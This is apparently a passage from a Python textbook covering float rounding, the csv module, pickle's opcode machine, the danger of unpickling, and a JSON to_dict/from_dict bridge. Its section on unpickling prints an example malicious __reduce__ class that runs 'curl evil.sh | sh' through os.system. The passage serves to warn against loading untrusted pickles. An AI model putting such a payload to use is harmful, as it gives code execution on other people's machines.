04The float wrinkle: IEEE-754 doesn't round-trip decimals

You store a price of 0.1, serialize it, ship it to a Go service, and the nightly reconciliation flags a penny of drift. You did not write a bug. You re-read your logic ten times and it is correct. What you hit is not in your code at all. It is in the silicon: 0.1 is not representable in binary, and a JSON number inherits every quirk of the IEEE-754 double it rides on. If you go on believing floats are decimals, money code and cross-language pipelines will betray you in ways no amount of staring at your source will ever explain.

A Python float is a C double: 64 bits, laid out by IEEE-754 as 1 sign bit, 11 exponent bits, and 52 fraction bits, encoding the value ±(1.fraction) × 2(exponent−1023). The fraction is binary, a sum of 1/2, 1/4, 1/8, … Decimal 0.1 is 1/10. And just as 1/3 has no finite decimal expansion, 1/10 has no finite binary one. So the machine cannot store 0.1. It stores the nearest representable double, which is not 0.1 but:

the number you didn't storepython
>>> from decimal import Decimal
>>> Decimal(0.1)      # the EXACT value the bits hold
Decimal('0.1000000000000000055511151231257827021181583404541015625')
>>> 0.1 + 0.2
0.30000000000000004       # the nearest double to the SUM, not 0.3
>>> 0.1 + 0.2 == 0.3
False

That rounding error is baked into the bits before serialization ever runs. So why, when you json.dumps(0.1), do you see a clean 0.1 and not the 55-digit tail? Because since Python 3.1, repr of a float uses a shortest-round-trip algorithm (David Gay's, later Grisu/Ryū-style). It emits the shortest decimal string that, when parsed back to the nearest double, reproduces the exact same bits. 0.1 is the shortest string that lands back on that particular double, so 0.1 is what you get. It's elegant, and quietly dangerous, because of what "round-trips" actually promises.

IEEE-754 double (64 bits) for the literal 0.10exponent (11)01111111011fraction (52)1001 1001 1001 … 1001 1010signstored exponent 1019 − bias 1023 = 2^−4, so the value is not exactly 1/10:0.1000000000000000055511151231257827021181583404541015625gap ≈ 5.5e−18the round-trip: text → bits → text0.1double → shortest repr0.1survives (same format)0.1 + 0.2double → shortest repr0.30000000000000004error wasalready therecross-language hazard: a 32-bit or 17-significant-digit reader on the other end may decode a different value.
Fig — A double stores 0.1 as a nearby binary value with a tiny rounding gap; the shortest-repr round-trip hides it, but arithmetic like 0.1 + 0.2 simply exposes error that was there all along.

The promise is narrow: double → string → double, within IEEE-754. It guarantees that your own Python reading your own Python's output lands on the identical double. It says nothing about the true mathematical value 1/10, and it shatters the moment the far end doesn't share the exact same rules. A language that prints a fixed 17 digits, or reads into a 32-bit float, or parses into a decimal type, can land on a different value from the same text. And arithmetic makes it worse. 0.1 + 0.2 serializes as 0.30000000000000004, because that string is the shortest one identifying the nearest double to the sum. The error was there before dumps was called. Serialization only revealed it.

NEVER SERIALIZE MONEY AS A FLOAT
JSON has no decimal type, so a money float carries IEEE-754 rounding across every boundary. Serialize money as integer cents (1999, not 19.99) or as a decimal string ("19.99") and parse it with Decimal on the other side. Integers and strings both round-trip exactly, in every language, forever.

When you truly need exact decimals — and finance always does — reach for decimal.Decimal. It stores digits in base ten and has no binary rounding. Serialize it as a string, so JSON's number grammar never re-floats it. Note Decimal(0.1) versus Decimal("0.1"): the first copies the float's error in, and the second is exactly one-tenth. Feed Decimal the string, not the float, and drift disappears.

SYNTAX · csv — reader / writer and their Dict twinsnewline="" is not decoration, every cell arrives as str, and quoting is what makes a delimiter safe
import csv with open(p, "w", newline="", encoding="utf-8") as f: — newline="" ALWAYS w = csv.writer(f) w.writerow(["title", "artist"]) — one row w.writerows(rows) — many with open(p, "r", newline="", encoding="utf-8") as f: for row in csv.reader(f): — row is a LIST of str for row in csv.DictReader(f): — row is a DICT; line 1 names the keys w = csv.DictWriter(f, fieldnames=["title", "artist"]) w.writeheader() — you have to ask for it w.writerow({"title": "Levels", "artist": "Avicii"})
newline=""Tells the text layer to stop translating line endings, because the csv module writes its own \r\n. Leave it out on Windows and every row gains a blank one.
csv.writer(f)Wraps the handle. writerow takes a sequence and stringifies each item, so 203 lands as 203 — and comes back as "203".
csv.reader(f)Yields one list of strings per row, undoing quotes as it goes. It never converts anything: a number in a CSV is a number only after you say so.
csv.DictReader(f)Reads the first line as the field names, then hands you a dict per row. That single line of header is what makes a CSV self-describing.
csv.DictWriter(f, fieldnames)fieldnames is required, and it fixes the column order for every row. Call writeheader() once, then write dicts in any key order you like.
quoting, done for youA field containing a comma, a quote, or a newline is wrapped in " and its inner quotes doubled. That is the whole reason to use the module.
the dialect knobsdelimiter=";", quotechar="'" and quoting=csv.QUOTE_ALL cover almost every file a spreadsheet will hand you. Name them; never re-implement them.
you type
# csv_doors.py -- the four csv doors, and the newline='' that is not decoration
import csv
from pathlib import Path

ROWS = [["title", "artist", "secs"],
        ["Levels", "Avicii", "203"],
        ["Titanium", "David Guetta", "245"]]
p = Path("tracks.csv")

with open(p, "w", newline="", encoding="utf-8") as f:   # newline='': csv writes its own
    csv.writer(f).writerows(ROWS)
print("raw bytes  :", p.read_bytes())

with open(p, "r", newline="", encoding="utf-8") as f:
    for row in csv.reader(f):
        print("reader     :", row, "| cells are", type(row[0]).__name__)

with open(p, "r", newline="", encoding="utf-8") as f:
    for d in csv.DictReader(f):            # row 1 becomes the field names
        print("DictReader :", d)

with open(p, "w", newline="", encoding="utf-8") as f:
    w = csv.DictWriter(f, fieldnames=["title", "artist", "secs"])
    w.writeheader()                        # you must ask for the header row
    w.writerow({"title": "Levels", "artist": "Avicii", "secs": 203})
print("DictWriter :", p.read_bytes())

with open(p, "w", encoding="utf-8") as f:  # the SAME code, newline='' forgotten
    csv.writer(f).writerows(ROWS)
print()
print("no newline='':", p.read_bytes())
with open(p, "r", newline="", encoding="utf-8") as f:
    print("rows read   :", [r for r in csv.reader(f)])

p.unlink()
you see
raw bytes  : b'title,artist,secs\r\nLevels,Avicii,203\r\nTitanium,David Guetta,245\r\n'
reader     : ['title', 'artist', 'secs'] | cells are str
reader     : ['Levels', 'Avicii', '203'] | cells are str
reader     : ['Titanium', 'David Guetta', '245'] | cells are str
DictReader : {'title': 'Levels', 'artist': 'Avicii', 'secs': '203'}
DictReader : {'title': 'Titanium', 'artist': 'David Guetta', 'secs': '245'}
DictWriter : b'title,artist,secs\r\nLevels,Avicii,203\r\n'

no newline='': b'title,artist,secs\r\r\nLevels,Avicii,203\r\r\nTitanium,David Guetta,245\r\r\n'
rows read   : [['title', 'artist', 'secs'], [], ['Levels', 'Avicii', '203'], [], ['Titanium', 'David Guetta', '245'], []]
where beginners trip
  • Forget newline="" on Windows and the writer's \r\n becomes \r\r\n, so every second row reads back as [].
  • csv never converts. row["seconds"] is "203", and int() is your job — exactly the asymmetry chapter 15's loader taught.
  • DictWriter raises ValueError: dict contains fields not in fieldnames for an extra key, but a missing key silently writes an empty cell.
  • Forget writeheader() and DictReader will happily use your first data row as the column names. No error, just one lost track.
  • The handle must be in text mode. Hand csv a "wb" file and you get TypeError: a bytes-like object is required, not 'str'.
  • A blank line reads back as [], not ['']. Guard your loop with if not row: continue before you index anything.
Wait — is this a Python defect? Not remotely. 0.1 + 0.2 != 0.3 is False in JavaScript, C, Java, Go, Rust — every language whose float is an IEEE-754 double, which is to say every language running on ordinary hardware. Python is unusual only in being honest about it: repr shows you 0.30000000000000004 where a friendlier language might round the display to 0.3 and let you discover the drift in production instead.

JSON keeps only what every language shares, and pays for it in tuples, sets, cycles, and drift. What if you want a format that keeps everything Python knows — shared references, cycles, real classes, sets that stay sets? That is pickle, and it isn't text at all. Next: a program for a tiny stack machine. →

NOW WRITE IT YOURSELFcommas in the titles — break the naive writer, then let quoting fix it
First, build the hostile data. Four tracks: an ordinary one, one whose title is "Sing, Sing, Sing", one containing a double quote, and one containing a \n. These are not exotic — they are a jazz standard, a song title, and a lyric sheet. Second, write it chapter 15's way and count the damage. Use an f-string with commas, write four lines, then read the file back and split(",") each line. Print the field count per line with an ok/BROKEN flag. You will get five lines out of four tracks, and the counts will be 3, 5, 3, 1, 3 — explain each number in one sentence before you move on. Third, write exactly the same data with csv.writer. Print the file with read_bytes(), not read_text(), so you can see what the module actually did: quotes around the fields that needed them, inner quotes doubled, and the embedded newline living happily inside a quoted field. Then read it back with csv.reader and assert the titles are identical to what you sent. Finish by printing type(rows[0][2]) and saying in one line why 203 came back as text. One hint and no more: the naive file has five lines because the embedded newline is indistinguishable from a row separator once it is written unquoted.
show the solution
# csv_commas.py -- the delimiter is in the data, and quoting is the whole answer
import csv
from pathlib import Path

TRACKS = [("Levels", "Avicii", 203),
          ("Sing, Sing, Sing", "Benny Goodman", 512),
          ('Say "Hello"', "Deep Cut", 180),
          ("Verse\nChorus", "The Line Breakers", 95)]

# ---- 1. the hand-rolled writer from chapter 15, aimed at hostile titles ----
naive = Path("naive.csv")
with open(naive, "w", encoding="utf-8", newline="\n") as f:
    for title, artist, secs in TRACKS:
        f.write(f"{title},{artist},{secs}\n")

print("naive file, line by line:")
for n, line in enumerate(naive.read_text(encoding="utf-8").splitlines(), 1):
    fields = line.split(",")
    flag = "ok" if len(fields) == 3 else "BROKEN"
    print(f"  line {n}: {len(fields)} fields  {flag:<7} {fields}")

# ---- 2. the csv module, same data, same delimiter ----
good = Path("good.csv")
with open(good, "w", newline="", encoding="utf-8") as f:
    csv.writer(f).writerows(TRACKS)
print()
print("csv file bytes:")
print(" ", good.read_bytes())

with open(good, "r", newline="", encoding="utf-8") as f:
    rows = list(csv.reader(f))
print()
for row in rows:
    print("  read back  :", row)
print()
print("titles intact :", [r[0] for r in rows] == [t[0] for t in TRACKS])
print("field counts  :", [len(r) for r in rows])
print("secs is a     :", type(rows[0][2]).__name__, "- csv never converts, you do")

naive.unlink()
good.unlink()

# ------------- what it prints -------------
naive file, line by line:
  line 1: 3 fields  ok      ['Levels', 'Avicii', '203']
  line 2: 5 fields  BROKEN  ['Sing', ' Sing', ' Sing', 'Benny Goodman', '512']
  line 3: 3 fields  ok      ['Say "Hello"', 'Deep Cut', '180']
  line 4: 1 fields  BROKEN  ['Verse']
  line 5: 3 fields  ok      ['Chorus', 'The Line Breakers', '95']

csv file bytes:
  b'Levels,Avicii,203\r\n"Sing, Sing, Sing",Benny Goodman,512\r\n"Say ""Hello""",Deep Cut,180\r\n"Verse\nChorus",The Line Breakers,95\r\n'

  read back  : ['Levels', 'Avicii', '203']
  read back  : ['Sing, Sing, Sing', 'Benny Goodman', '512']
  read back  : ['Say "Hello"', 'Deep Cut', '180']
  read back  : ['Verse\nChorus', 'The Line Breakers', '95']

titles intact : True
field counts  : [3, 3, 3, 3]
secs is a     : str - csv never converts, you do

# Read the naive counts one at a time:
#   3  fine -- no delimiter in the data
#   5  "Sing, Sing, Sing" contributed two extra commas
#   3  a double quote is harmless to split(","), which is luck, not safety
#   1  the embedded newline ENDED the line early
#   3  ...and the rest of that title became a whole fake row
#
# This is the ch-15 pipe bug wearing a different delimiter. There is no separator
# character that data cannot contain -- which is why real formats quote or escape.

05pickle serializes the real graph, cycles and all

JSON made you hand-flatten every object and then choked on sets and on cycles, and silently duplicated the artist two Songs share. You want the opposite tool: one that captures Python's actual object graph, identity and all, and hands it back byte-for-byte on the far side. That tool is pickle. To trust it now, and to fear it in the very next section, you need to see what it truly is. It is not text, not a document, not JSON with more types. A pickle is a program for a tiny stack-based virtual machine, and unpickling is that program executing.

A pickle is a stream of opcodes. Each one pushes or pops values on a stack and gradually builds objects, and the Unpickler is the interpreter that runs them. A protocol-2+ stream opens with PROTO 2, then instructions like EMPTY_DICT (push a fresh dict), BININT (push an int), SHORT_BINUNICODE (push a string), SETITEMS (pop key/value pairs into the dict beneath them), and finally STOP (pop the finished object as the result). You can print the whole program with pickletools.dis and read it like assembly:

pickle is a stack programpython
>>> import pickle, pickletools
>>> pickletools.dis(pickle.dumps({"a": 1}))
    0: \x80 PROTO      4
    2: }    EMPTY_DICT
    3: \x94 MEMOIZE    (as 0)      # ← record this object in slot 0
    4: \x8c SHORT_BINUNICODE 'a'
    7: \x94 MEMOIZE    (as 1)
    8: K    BININT1    1
   10: s    SETITEM
   11: .    STOP

The magic that JSON could never match lives in one word above: MEMOIZE. The pickler keeps a memo, a dict mapping each object's id() to the memo slot where it was first built. It walks the graph in a recursive descent from the root. The first time it meets an object, it serializes it fully and emits a MEMOIZE to record it. If it ever meets that same object again — same identity, same id() — it does not re-serialize it. It emits a GET opcode that just says "push whatever is in slot N." That single mechanism buys two things JSON structurally cannot.

First, shared references survive. Two Songs pointing at one Artist pickle the Artist once. Both Songs get a GET to the same slot, so after unpickling a.artist is b.artist is still True — the address fact from section 1, preserved. Second, and more remarkably, cycles terminate. A list that contains itself is memoized before its contents are pickled, so when the walk reaches the self-reference it emits a GET pointing back at the not-yet-finished object. The unpickler builds incrementally and memoizes as it goes, so it wires that pointer back into the same under-construction list. No infinite recursion, just a loop rebuilt exactly.

identity and cycles round-trippython
>>> a = Song("Roar", artist); b = Song("Dark Horse", artist)
>>> na, nb = pickle.loads(pickle.dumps((a, b)))
>>> na.artist is nb.artist       # sharing preserved — one artist, not two
True
>>> L = []; L.append(L)          # a list containing itself
>>> L2 = pickle.loads(pickle.dumps(L))
>>> L2[0] is L2             # the cycle came back intact
True
object graph (a cycle + a shared node)list LL[0] = LcycleSong aSong bArtistone Artist, shared by both Songspickle opcode tapePROTO 5EMPTY_LISTMEMOIZE 0… build Song a… build ArtistMEMOIZE 1… build Song bGET 1 (reuse Artist)GET 0 (close cycle)STOPmemo tableslot 0 → Lslot 1 → Artist
Fig — Pickle can encode cycles and sharing because MEMOIZE files each object into a numbered memo slot and GET replays a slot — one opcode per shared edge or back-reference.

pickle also captures type, which JSON discards entirely. It stores a reference to the class by module and qualified name, via the GLOBAL/STACK_GLOBAL opcodes. Then it reconstructs an instance by allocating it and restoring its __dict__ — or, for objects that customize it, by calling __reduce__ and __setstate__. So a set comes back a set, a tuple stays a tuple, bytes stay bytes, and your own Song comes back a real Song, not a bare dict.

SYNTAX · pickle — dumps / loads / dump / load, and the one rule that never bendsbytes not text, your real classes back, and never, ever on data you did not produce yourself
import pickle blob = pickle.dumps(obj) — object -> BYTES. b'\x80\x04...', not text. obj2 = pickle.loads(blob) — bytes -> a live object. RUNS A PROGRAM. with open(p, "wb") as f: — 'wb' / 'rb'. Binary. No encoding=, ever. pickle.dump(obj, f) with open(p, "rb") as f: obj2 = pickle.load(f) pickle.dumps(obj, protocol=5) — 0..5; DEFAULT_PROTOCOL is 4 on Python 3.12 — THE LAW: never pickle.loads() bytes you did not write yourself.
dumps gives bytesNot a string. There is no codec to name and nothing to read by eye — the b prefix is chapter 17's wall telling you which side you are on.
your class comes backThe stream stores the class by module and qualified name, so __main__.Track is looked up at load time and a genuine Track is rebuilt.
everything survivesA set stays a set, a tuple stays a tuple, a shared object stays shared, and a cycle stays a cycle. This is the fidelity JSON structurally cannot offer.
"wb", not "w"A text handle raises TypeError: write() argument must be str, not bytes. Every chapter-15 habit carries over except the codec, which does not apply.
the protocolA number, not a version of your data. Higher is smaller and faster; a stream written at 5 cannot be read by a Python too old to know it.
the lawloads is an interpreter, and one of its opcodes calls any callable the stream names. Untrusted bytes are therefore code execution, not data.
the safe alternativeAcross any boundary you do not own, use JSON plus the to_dict/from_dict bridge from section 7. More typing, and no opcode that can run anything.
you type
# pickle_doors.py -- pickle on YOUR class: total fidelity, real bytes, and one law
import json
import pickle
from dataclasses import dataclass
from pathlib import Path


@dataclass
class Track:
    title: str
    artist: str
    secs: int
    tags: set


t = Track("Levels", "Avicii", 203, {"house", "edm"})

blob = pickle.dumps(t)                      # object -> BYTES (never text)
print("dumps gives:", type(blob).__name__, "of", len(blob), "bytes")
print("first 48   :", blob[:48])
print("your class :", b"__main__" in blob and b"Track" in blob)

back = pickle.loads(blob)                   # bytes -> a real, live object
print()
print("loads gives:", back.title, "by", back.artist, "|", back.secs, "s | tags", sorted(back.tags))
print("equal      :", back == t, "| same object:", back is t)
print("class kept :", type(back).__name__, "| tags is still a", type(back.tags).__name__)

p = Path("track.pkl")
with open(p, "wb") as f:                    # 'wb' -- binary, no encoding= anywhere
    pickle.dump(t, f)
with open(p, "rb") as f:
    from_file = pickle.load(f)
print("file trip  :", from_file == t, "|", p.stat().st_size, "bytes")
print("protocol   :", pickle.DEFAULT_PROTOCOL, "of", pickle.HIGHEST_PROTOCOL)

try:                                        # what json says about the same object
    json.dumps(t.__dict__)
except TypeError as e:
    print("json says  :", e)


class Harmless:                             # the same door an attacker uses
    def __reduce__(self):
        return (print, ("  <-- this ran INSIDE loads(), before you saw any data",))


print()
print("loading a stranger's pickle:")
pickle.loads(pickle.dumps(Harmless()))
print("you never called print(); the byte stream did")
p.unlink()
you see
dumps gives: bytes of 110 bytes
first 48   : b'\x80\x04\x95c\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Track\x94\x93\x94)\x81\x94}\x94(\x8c\x05title\x94\x8c\x06'
your class : True

loads gives: Levels by Avicii | 203 s | tags ['edm', 'house']
equal      : True | same object: False
class kept : Track | tags is still a set
file trip  : True | 110 bytes
protocol   : 4 of 5
json says  : Object of type set is not JSON serializable

loading a stranger's pickle:
  <-- this ran INSIDE loads(), before you saw any data
you never called print(); the byte stream did
where beginners trip
  • A class defined inside a function cannot be pickled: AttributeError: Can't get local object. pickle stores the name, and a local has no importable one.
  • Rename or move the class and every old pickle breaks, because load resolves that name against today's code. JSON files do not rot this way.
  • The bytes are not the class body. The far side still needs your source; a pickle is a reference plus state, never a self-contained object.
  • pickle.loads(b"") raises EOFError: Ran out of input. A truncated file fails at the end, after the earlier opcodes have already run.
  • "It is only our own cache" is how this bug ships. A Redis value, a queue message, a temp file — anything another process can write is untrusted.
  • pickletools.dis(blob) disassembles the whole program. If you are ever tempted to load a stranger's pickle, read it first — and then still do not.
THE ONE IDEA TO CARRY FORWARD
JSON and pickle strike opposite bargains. JSON keeps only the six types every language shares — maximum interoperability, minimum fidelity. pickle keeps Python's whole object model — shared identity, cycles, real classes — at the cost of being Python-only, version-sensitive, and, as you're about to see, dangerous. There is no universally right choice; there is only the right choice for a given boundary.
Wait — pickle two objects that share a big list and the pickle is smaller than pickling them separately, because the shared list is stored once and referenced by GET. The memo isn't only about correctness — it's a deduplicating compressor for repetition in your graph. Structure-sharing in RAM becomes byte-sharing on disk.
the same band, recorded on N songs — flatten the graph: how big is the file, and how many bands come back? N = 1,000 songs → one shared band one Artist record ≈ 200 bytes · in RAM every song points at the same object JSON · json.dumps — copies the whole band into every song 195 KB pickle · pickle.dumps — band once, then a 5-byte back-reference 5.1 KB load JSON → a.artist is b.artist → False · 1,000 separate bands load pickle → a.artist is b.artist → True · 1 band, shared by all JSON is 38× larger — and forgot they’re the same band the memo turns structure-sharing in RAM into byte-sharing on disk
1,000 songs
Drag from 2 songs up to 5,000. JSON re-writes the entire band record into every single song, so the file balloons toward a megabyte and reloads as that many separate bands. pickle writes the band once, then spends ~5 bytes each later time to say “same object as before” — so the file stays flat and the band comes back as one shared object, exactly as it was in RAM. The ratio can never beat record-size ÷ 5 bytes: that ceiling is the memo table earning its keep.
Fig — One band, N songs. JSON duplicates the shared record N times and returns N distinct copies; pickle’s memo files it once and replays a back-reference — keeping the file small and identity intact, so a.artist is b.artist survives only through pickle.

Notice the quiet phrase two sections back — "unpickling is that program executing." A program that can build any object can build one whose construction runs a shell command. Next: why pickle.loads on untrusted bytes is remote code execution, stated from the mechanism, not from fear. →

06Unpickling is code execution

pickle looks like the perfect save format — total fidelity, one line to write, one to read. And you will be tempted. You'll want to pickle a cache and reload it from Redis, accept a pickled payload over a socket, restore a pickled session from a file a user uploaded. Before you do any of that in production, this section installs one hard, first-principles rule. And it earns the rule from the machine, not from paranoia: unpickling bytes you did not create is remote code execution. Not "risky." Not "a smell." The literal thing.

Recall what the last section proved: unpickling is a program running on the pickle VM. And that VM has an opcode whose entire job is to call an arbitrary Python callable. It comes from the reconstruction protocol. When the pickler needs to serialize an object, it asks the object (or its type) for a reduce value via __reduce__ — conventionally a tuple (callable, args) meaning "to rebuild me, call callable(*args)." For a normal class that's something benign like (copyreg._reconstructor, (Song, object, None)). The unpickler obeys literally. The REDUCE opcode pops a callable and an argument tuple off the stack and invokes the callable. The callable itself is named in the stream by module and qualname, then resolved at load time by GLOBAL/STACK_GLOBAL, which is effectively import module; getattr(module, name).

Nothing anywhere restricts that callable to a harmless constructor. A malicious object can define __reduce__ to return any callable and any arguments, and the unpickler will faithfully run it:

exploit.py — the whole attackpython
import pickle, os

class Exploit:
    def __reduce__(self):
        # "to rebuild me, call os.system('...')"
        return (os.system, ("echo pwned; curl evil.sh | sh",))

payload = pickle.dumps(Exploit())
# ...anywhere this payload is later loaded:
pickle.loads(payload)   # runs os.system BEFORE you inspect anything

When the victim calls pickle.loads(payload), the REDUCE opcode calls os.system with the attacker's string. It runs on the victim's machine, with the victim's privileges, before a single field of the "data" is ever examined. Swap os.system for subprocess.Popen, or eval, or __import__, and the shape is identical. There is no sandbox: the C unpickler resolves globals against the real, fully-powered interpreter. This is why the official docs carry a rare blunt warning box, and why "pickle deserialization" is a whole CVE category rather than a style nit.

1 · the payloadclass Exploit: def __reduce__(self): return ( os.system, ('echo pwned',))pickle.dumps(Exploit())2 · the bytes\x80\x05… PROTOc ossystem GLOBALV echo pwnedt R . REDUCE3 · the victimpickle.loads(data)REDUCE calls it$ python restore.pypwnedthe parser is an interpreter — loads() runs the opcode stream.contrast: JSONjson.loads(data)pure state machine —emits data, cannot call codeNever unpickle data you did not produce. GLOBAL + REDUCE can import andcall any callable — os.system, subprocess, anything on the victim's path.
Fig — A malicious __reduce__ compiles to GLOBAL + REDUCE opcodes, so pickle.loads on untrusted bytes executes arbitrary code — whereas json.loads is a pure state machine that can only build data.

Here is the payoff, and it is the deepest idea in the chapter: the rule follows from the mechanism. A format whose deserializer can call any callable is, by definition, a code-execution format. So the correct statement is not "be careful with pickle." It is "never unpickle bytes you did not produce and cannot cryptographically prove you produced." Mitigations are only partial. You can subclass Unpickler and override find_class to allow-list a handful of safe globals. But allow-listing is easy to get subtly wrong, and a single overlooked callable reopens the door. You can HMAC-sign your own pickles to prove provenance. That's good practice, but it only helps for a trust boundary you control on both ends.

THE RULE, STATED ONCE
Across any trust boundary — a network, a file upload, a shared cache, a message queue — do not use pickle. Use a data-only format whose parser has no callable-invoking opcode: JSON, or a schema'd format like Protocol Buffers or MessagePack. Reserve pickle for bytes that never leave your own trust domain and whose provenance is certain.

And now section 3's "limitation" reveals itself as a security guarantee. JSON's parser is a pure pushdown automaton. It pushes brackets, reads strings, builds dicts and lists, and that is the entire instruction set. It has no opcode that can call your code, because it has no notion of your code at all. The smaller value model you resented in section 3 is precisely what makes json.loads safe on hostile input: it can produce a wrong dict, never a running process. Safety and expressiveness are the two ends of the same bargain.

✗ pickle

Deserializer is an interpreter with a REDUCE opcode. loads can run any named callable — so untrusted bytes mean arbitrary code execution on your machine.

✓ JSON

Deserializer is a pushdown automaton. loads can only build the six value types — the worst a hostile string does is raise or return an unexpected dict. It cannot call code.

Wait — a restricted Unpickler that only allow-lists your own classes still isn't automatically safe. If one allowed class has a method or attribute an attacker can reach and chain, or if you forget that __reduce__ args are themselves unpickled first, the door reopens. Allow-listing narrows the attack surface; it does not close it. Which is exactly why "just use JSON across trust boundaries" is the advice that never bites you.

So: pickle is out across any boundary you don't fully own, and JSON refuses your Song outright. You need a durable, safe, human-readable, cross-language way to store your own classes. Next: the dict-bridge — a projection you write, control, and can see every lossy decision inside. →

07The dict-bridge for your own classes

You've rejected pickle across any trust boundary and embraced JSON's safety. But JSON refuses your Song outright. A user-defined instance's state lives in __dict__ as arbitrary Python objects — a nested Song, a set, a datetime — that JSON's six types don't cover. And its type identity, the class itself, isn't part of JSON at all. You need a durable, safe, human-readable, cross-language way to persist your own objects. The answer is the pattern the whole capstone leans on, and it is deliberately hand-written: a to_dict/from_dict bridge you own, so nothing is quietly lost and every field's projection is a decision you can see.

to_dict walks the instance's fields and projects each one down onto the JSON value model. Strings, ints, floats, bools, and None pass straight through. A nested Song calls its own to_dict. That recursion mirrors the object graph exactly, the same recursive descent the pickler and the JSON encoder both do. A set becomes a sorted list, a datetime becomes an ISO-8601 string, and bytes become base64. The result is a plain dict whose every leaf is one of the six safe types. So json.dumps now succeeds, because there is nothing left it doesn't recognize.

song.py — the bridgepython
from datetime import datetime

class Song:
    def __init__(self, title, artist, tags, released):
        self.title = title            # str  — JSON-safe
        self.artist = artist          # Song — nested, recurse
        self.tags = tags              # set  — no JSON type
        self.released = released       # datetime — no JSON type

    def to_dict(self):
        return {
            "version": 1,
            "title": self.title,
            "artist": self.artist.to_dict(),          # recursion mirrors the graph
            "tags": sorted(self.tags),                 # lossy on purpose: set → ordered list
            "released": self.released.isoformat(),      # datetime → ISO string
        }

    @classmethod
    def from_dict(cls, d):
        return cls(                                   # calls YOUR constructor — invariants run
            title=d["title"],
            artist=Song.from_dict(d["artist"]),        # inverse recursion
            tags=set(d["tags"]),                     # list → set, restored
            released=datetime.fromisoformat(d["released"]),
        )

from_dict is the exact inverse, and it is a classmethod for a reason. It allocates a fresh instance by calling the real constructor, so __init__'s invariants run and you get a genuine Song, not a bare dict wearing a Song's data. It re-establishes type, the thing JSON threw away. And it does so safely in the exact way pickle is not. from_dict calls only the constructors you named in your code, never an arbitrary callable pulled from the byte stream. A hostile JSON file can, at worst, hand you a wrong-but-typed Song. It can never execute code, because there is no opcode in the JSON grammar to execute and no REDUCE in your bridge to obey it.

1 · live object2 · projected dict3 · JSON textSongtitle: strartist: Songtags: setreleased:datetimereal Python typesdict'title': 'Roar''artist': { … }'tags': ['rock']'released': '2013-08-10'recurselossy: set → listdatetime → iso stringevery leaf is JSON-safe{"title":"Roar","artist":{…},"tags":["rock"],"released":"2013-08-10"}one flat stringto_dictfrom_dictjson.dumpsjson.loadsfrom_dict calls YOUR constructor onlypickle: reconstructs via any callableYou own the middle lane: to_dict projects your types onto JSON's six, and from_dict rebuilds them —so the conversion (and its lossy edges, like set → list) is explicit and under your control.
Fig — A hand-written to_dict / from_dict lane sits between your live typed object and JSON text, mapping each leaf onto a JSON-safe type explicitly — a controlled contrast to pickle rebuilding via any callable.
TYPE THIS · save it, then run itplaylist_json.py — the jukebox playlist out to a JSON file, and back as real Tracks
# playlist_json.py -- the jukebox playlist, out to a JSON file and back as real Tracks
import json
from dataclasses import dataclass, asdict, fields
from pathlib import Path

DB = Path("playlist.json")


@dataclass
class Track:                                     # chapter 12's class, unchanged
    title: str
    artist: str
    seconds: int
    plays: int = 0

    def __str__(self):
        minutes, secs = divmod(self.seconds, 60)
        return f"{self.title} - {self.artist} ({minutes}:{secs:02d})  played {self.plays}x"


playlist = [Track("Blinding Lights", "The Weeknd", 200, 3),
            Track("Titanium", "David Guetta", 245),
            Track("Levels", "Avicii", 203, 1)]

# ---------- out: one dataclass -> one dict, then one file ----------
row = asdict(playlist[0])                        # dataclasses does the walk for you
print("asdict     :", row)
print("field names:", [f.name for f in fields(Track)])

payload = {"version": 1, "tracks": [asdict(t) for t in playlist]}
with open(DB, "w", encoding="utf-8", newline="\n") as f:
    json.dump(payload, f, indent=2)
print("written    :", DB.stat().st_size, "bytes to", DB.name)

print()
print("--- the file itself ---")
print(DB.read_text(encoding="utf-8"))
print("-----------------------")

# ---------- the process ends here; everything in RAM is gone ----------
del playlist

# ---------- back in: dicts -> Tracks, through the real constructor ----------
with open(DB, "r", encoding="utf-8") as f:
    data = json.load(f)
print("version    :", data["version"], "| rows:", len(data["tracks"]))
print("a row is a :", type(data["tracks"][0]).__name__, "- not a Track, not yet")

restored = [Track(**row) for row in data["tracks"]]     # ** unpacks dict -> arguments
print("rebuilt    :", len(restored), type(restored[0]).__name__, "objects")
for t in restored:
    print("   ", t)
print("round trip :", restored == [Track("Blinding Lights", "The Weeknd", 200, 3),
                                   Track("Titanium", "David Guetta", 245),
                                   Track("Levels", "Avicii", 203, 1)])
print("plays kept :", restored[0].plays, "- the count outlived the process that made it")
DB.unlink()
asdict     : {'title': 'Blinding Lights', 'artist': 'The Weeknd', 'seconds': 200, 'plays': 3}
field names: ['title', 'artist', 'seconds', 'plays']
written    : 366 bytes to playlist.json

--- the file itself ---
{
  "version": 1,
  "tracks": [
    {
      "title": "Blinding Lights",
      "artist": "The Weeknd",
      "seconds": 200,
      "plays": 3
    },
    {
      "title": "Titanium",
      "artist": "David Guetta",
      "seconds": 245,
      "plays": 0
    },
    {
      "title": "Levels",
      "artist": "Avicii",
      "seconds": 203,
      "plays": 1
    }
  ]
}
-----------------------
version    : 1 | rows: 3
a row is a : dict - not a Track, not yet
rebuilt    : 3 Track objects
    Blinding Lights - The Weeknd (3:20)  played 3x
    Titanium - David Guetta (4:05)  played 0x
    Levels - Avicii (3:23)  played 1x
round trip : True
plays kept : 3 - the count outlived the process that made it
Save it as playlist_json.py and run it. This is the bridge from the last figure, written out in code you can execute. The first surprise is how little you have to write. asdict(track) is one call from dataclasses, and it does the whole recursive walk for you: every field, in declaration order, into a plain dict. That is to_dict for the easy case, and the easy case is most cases. Look at the shape we actually write to disk. Not a bare list of tracks, but {"version": 1, "tracks": [...]}. The wrapper costs one line today and buys you the whole future: next year's Track can gain a field, and load can branch on the version instead of guessing. Then watch the middle of the output, because it is the point of the chapter. After json.load we print type(data["tracks"][0]) and it says dict — not Track, not yet. JSON gave back structure and values, exactly as promised, and threw the class away. Track(**row) is what puts it back: the ** unpacks the dict into keyword arguments, so your real __init__ runs and your invariants run with it. That single line is from_dict for a dataclass. And the last two lines are the payoff we have been building since chapter 1. plays is still 3. A number that lived in DRAM, survived del playlist, and came back through a file — because we stored the values and the shape, and rebuilt the addresses on this side. Two things to try. Add a field to Track with a default, re-run, and watch old rows still load because ** simply omits it. Then delete the "plays" key from one row in the file and run it again — the TypeError you get names the missing argument, and that is your schema check arriving for free.

